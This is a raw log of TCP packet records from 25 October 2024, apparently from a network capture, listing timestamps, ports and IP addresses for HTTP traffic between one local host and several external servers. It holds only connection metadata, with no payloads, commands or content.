Oct 25, 2024 11:18:12.249291897 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.249299049 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.249311924 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.249322891 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.249335051 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.249361038 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.249370098 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.249370098 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.249370098 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.249370098 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.249408007 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.249452114 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.249452114 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.249548912 CEST	80	52899	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:12.249592066 CEST	80	52899	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:12.249608994 CEST	52899	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:12.249655962 CEST	80	52899	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:12.249701023 CEST	52899	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:12.249773979 CEST	80	52787	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:12.249787092 CEST	80	52891	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:12.249836922 CEST	52787	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:12.249855042 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.249866009 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.249877930 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.249885082 CEST	52891	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:12.249890089 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.249906063 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.249938965 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.249950886 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.249953985 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.249963045 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.249975920 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.249979019 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.249988079 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.249999046 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.250005960 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.250034094 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.250101089 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.250149012 CEST	80	52869	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:12.250159025 CEST	80	52900	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:12.250190020 CEST	80	52895	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:12.250195026 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.250195026 CEST	52869	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:12.250214100 CEST	80	52903	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:12.250215054 CEST	52900	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:12.250225067 CEST	80	52896	46.242.238.60	192.168.2.5
Oct 25, 2024 11:18:12.250267982 CEST	80	52903	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:12.250269890 CEST	52895	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:12.250278950 CEST	80	52910	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:12.250296116 CEST	80	52908	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:12.250296116 CEST	52903	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.250300884 CEST	52896	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:12.250309944 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.250319958 CEST	80	52903	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:12.250333071 CEST	80	52908	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:12.250335932 CEST	52903	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.250339985 CEST	52910	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:12.250349998 CEST	52908	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.250375032 CEST	52903	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.250380993 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.250380993 CEST	52908	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.253364086 CEST	52903	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.255671024 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.255688906 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.255786896 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.255795002 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.255830050 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.255840063 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.255867958 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.256071091 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.256115913 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.256127119 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.256167889 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.256242037 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.256253958 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.256272078 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.256284952 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.256314039 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.256335974 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.256341934 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.256354094 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.256391048 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.256393909 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.256407022 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.256417990 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.256464958 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.257277966 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.257294893 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.257306099 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.257328987 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.257337093 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.257344961 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.257360935 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.257369995 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.257380009 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.257381916 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.257390022 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.257392883 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.257406950 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.257416010 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.257441998 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.257957935 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.258012056 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.258028030 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.258044004 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.258073092 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.258086920 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.258116961 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.258270979 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.258316040 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.258327961 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.258363008 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.258373976 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.258375883 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.258375883 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.258399963 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.258415937 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.258955002 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.258997917 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.259253979 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.259335041 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.259345055 CEST	80	52903	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:12.259373903 CEST	80	52905	51.79.51.72	192.168.2.5
Oct 25, 2024 11:18:12.259383917 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.259408951 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.259449005 CEST	52905	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:18:12.261919022 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.261930943 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.261941910 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.261970997 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.261980057 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.261982918 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.261993885 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.262018919 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.262029886 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.262031078 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.262042999 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.262053967 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.262063980 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.262116909 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.262116909 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.262135029 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.262152910 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.262192965 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.262833118 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.263045073 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.263056040 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.263070107 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.263082027 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.263101101 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.263134003 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.263134003 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.263848066 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.263933897 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.263986111 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.264306068 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.264386892 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.264420986 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.264467001 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.264956951 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.264969110 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.264991999 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.265001059 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.265003920 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.265038967 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.265039921 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.265039921 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.265556097 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.267251968 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.267262936 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.267275095 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.267294884 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.267298937 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.267348051 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.267348051 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.267519951 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.267546892 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.267586946 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.267700911 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.267739058 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.267761946 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.267782927 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.267811060 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.267842054 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.268179893 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.268265963 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.268361092 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.268409014 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.268409014 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.268429995 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.268440962 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.268482924 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.268851995 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.268908978 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.268958092 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.268970013 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.269009113 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.269038916 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.269264936 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.269352913 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.269397974 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.269565105 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.269624949 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.269635916 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.269656897 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.269686937 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.269716024 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.269872904 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.269926071 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.269969940 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.270106077 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.270184994 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.270366907 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.270411968 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.270445108 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.270581961 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.270598888 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.270627022 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.270657063 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.284190893 CEST	52905	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:18:12.289709091 CEST	80	52905	51.79.51.72	192.168.2.5
Oct 25, 2024 11:18:12.292501926 CEST	52908	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.298297882 CEST	80	52908	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:12.327120066 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327131033 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327147007 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327158928 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327171087 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327183008 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327193975 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327207088 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327219009 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327230930 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327243090 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327258110 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.327333927 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.327550888 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327621937 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327632904 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327645063 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327655077 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327666044 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327672958 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.327673912 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.327699900 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327704906 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.327740908 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327742100 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.327759027 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327770948 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327799082 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327800035 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.327824116 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.327852011 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.327896118 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327936888 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.327980995 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.327992916 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328026056 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328046083 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328047991 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328061104 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328093052 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328114986 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328135967 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328146935 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328159094 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328187943 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328207016 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328207970 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328217983 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328227997 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328238964 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328249931 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328257084 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328304052 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328304052 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328481913 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328524113 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328591108 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328600883 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328612089 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328623056 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328634024 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328635931 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328635931 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328644991 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328655958 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328656912 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328687906 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328716993 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328887939 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328908920 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328926086 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328937054 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328948975 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328948975 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328959942 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328970909 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.328970909 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.328994989 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329025984 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329056978 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329066992 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329077959 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329087973 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329099894 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329108953 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329108953 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329111099 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329123020 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329128981 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329133987 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329147100 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329152107 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329158068 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329170942 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329190016 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329210997 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329744101 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329755068 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329765081 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329802036 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329833031 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329868078 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329884052 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329895020 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329906940 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329917908 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329925060 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329927921 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329940081 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329945087 CEST	52898	80	192.168.2.5	108.167.164.216
